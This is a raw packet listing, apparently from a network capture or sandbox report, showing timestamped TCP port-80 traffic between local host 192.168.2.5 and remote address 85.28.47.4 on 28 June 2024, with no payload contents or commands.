Jun 28, 2024 13:36:06.882642984 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.882692099 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.882695913 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.882703066 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.882714033 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.882730007 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.882736921 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.882740021 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.882772923 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.882800102 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.882814884 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.882824898 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.882842064 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.882853031 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.882860899 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.882863045 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.882873058 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.882879019 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.882917881 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.962469101 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.962495089 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.962505102 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.962542057 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.962552071 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.962565899 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.962587118 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.962640047 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.962650061 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.962661028 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.962670088 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.962702036 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.962726116 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.962733984 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.962743998 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.962759972 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.962769985 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.962780952 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.962800026 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.962837934 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.962902069 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.962912083 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.962922096 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.962932110 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.962941885 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.962951899 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.962951899 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.962961912 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.962973118 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.962989092 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.963011026 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.963038921 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.963095903 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.963162899 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.963202000 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.963212013 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.963222027 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.963238955 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.963253975 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.963253975 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.963263988 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.963274002 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.963289022 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.963289976 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.963300943 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.963310003 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.963315010 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.963331938 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.963371038 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.963561058 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.963572979 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.963582039 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.963591099 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.963601112 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.963610888 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.963615894 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.963620901 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.963633060 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.963635921 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.963648081 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.963656902 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.963665962 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.963685989 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.963690042 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.963700056 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.963710070 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.963718891 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.963720083 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.963730097 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.963740110 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.963748932 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.963758945 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.963762045 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.963782072 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.963803053 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.964077950 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.964087963 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.964097977 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.964107990 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.964117050 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.964132071 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.964138031 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.964148998 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.964160919 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.964179993 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.964184046 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.964184999 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.964191914 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.964207888 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.964241028 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.964333057 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.964344025 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.964354038 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.964364052 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.964386940 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.964410067 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.966741085 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.966778994 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.966789007 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.966795921 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.966825008 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.966886997 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.966897011 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.966907024 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.966917038 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.966927052 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.966938972 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.966965914 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.966999054 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.967025042 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.967031956 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.967046022 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.967056036 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.967063904 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.967086077 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.967113972 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.967120886 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.967154980 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.967164993 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.967170954 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.967209101 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.967221022 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.967231035 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.967240095 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.967250109 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.967272997 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.967302084 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.967381001 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.967391014 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.967401028 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.967415094 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.967425108 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.967432976 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.967434883 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.967444897 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.967453957 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.967453003 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.967468977 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.967489004 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.967518091 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.967545986 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.968194008 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.968250036 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.968266010 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.968308926 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.968313932 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.968326092 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.968364000 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.968403101 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.968413115 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.968452930 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.968560934 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.968615055 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.973375082 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.973385096 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.973395109 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.973404884 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.973416090 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.973424911 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.973431110 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.973436117 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.973465919 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.973490000 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.973563910 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.973575115 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.973584890 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.973594904 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.973606110 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.973615885 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.973618984 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.973625898 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.973654985 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.973681927 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.058374882 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.058387041 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.058398008 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.058464050 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.058517933 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.058526039 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.058537006 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.058547020 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.058557034 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.058568001 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.058578014 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.058587074 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.058589935 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.058610916 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.058640003 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.058661938 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.058671951 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.058682919 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.058705091 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.058710098 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.058717012 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.058727980 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.058731079 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.058738947 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.058748960 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.058765888 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.058800936 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.058980942 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.058996916 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.059005976 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.059015989 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.059025049 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.059035063 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.059039116 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.059045076 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.059055090 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.059056997 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.059066057 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.059076071 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.059082031 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.059087038 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.059096098 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.059107065 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.059117079 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.059120893 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.059149027 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.059149027 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.059189081 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.059462070 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.059472084 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.059514999 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.059565067 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.059576035 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.059586048 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.059596062 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.059606075 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.059617043 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.059619904 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.059627056 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.059636116 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.059643984 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.059647083 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.059659958 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.059688091 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.059700966 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.059710979 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.059720039 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.059730053 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.059739113 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.059748888 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.059762955 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.059770107 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.059773922 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.059783936 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.059791088 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.059792995 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.059808969 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.059818983 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.059827089 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.059832096 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.059837103 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.059847116 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.059856892 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.059866905 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.059874058 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.059876919 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.059886932 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.059896946 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.059917927 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.059938908 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.060081005 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.060091972 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.060132980 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.060231924 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.060242891 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.060251951 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.060261965 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.060271978 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.060281992 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.060292006 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.060297012 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.060301065 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.060316086 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.060319901 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.060326099 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.060338020 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.060338974 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.060357094 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.060367107 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.060376883 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.060379028 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.060389042 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.060399055 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.060405970 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.060409069 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.060424089 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.060435057 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.060439110 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.060444117 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.060455084 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.060463905 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.060472965 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.060473919 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.060491085 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.060501099 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.060509920 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.060520887 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.060520887 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.060554981 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.060949087 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.060959101 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.060967922 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.060977936 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.060987949 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.061001062 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.061003923 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.061012030 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.061029911 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.061053038 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.063460112 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.063477039 CEST	80	49705	85.28.47.4	192.168.2.5
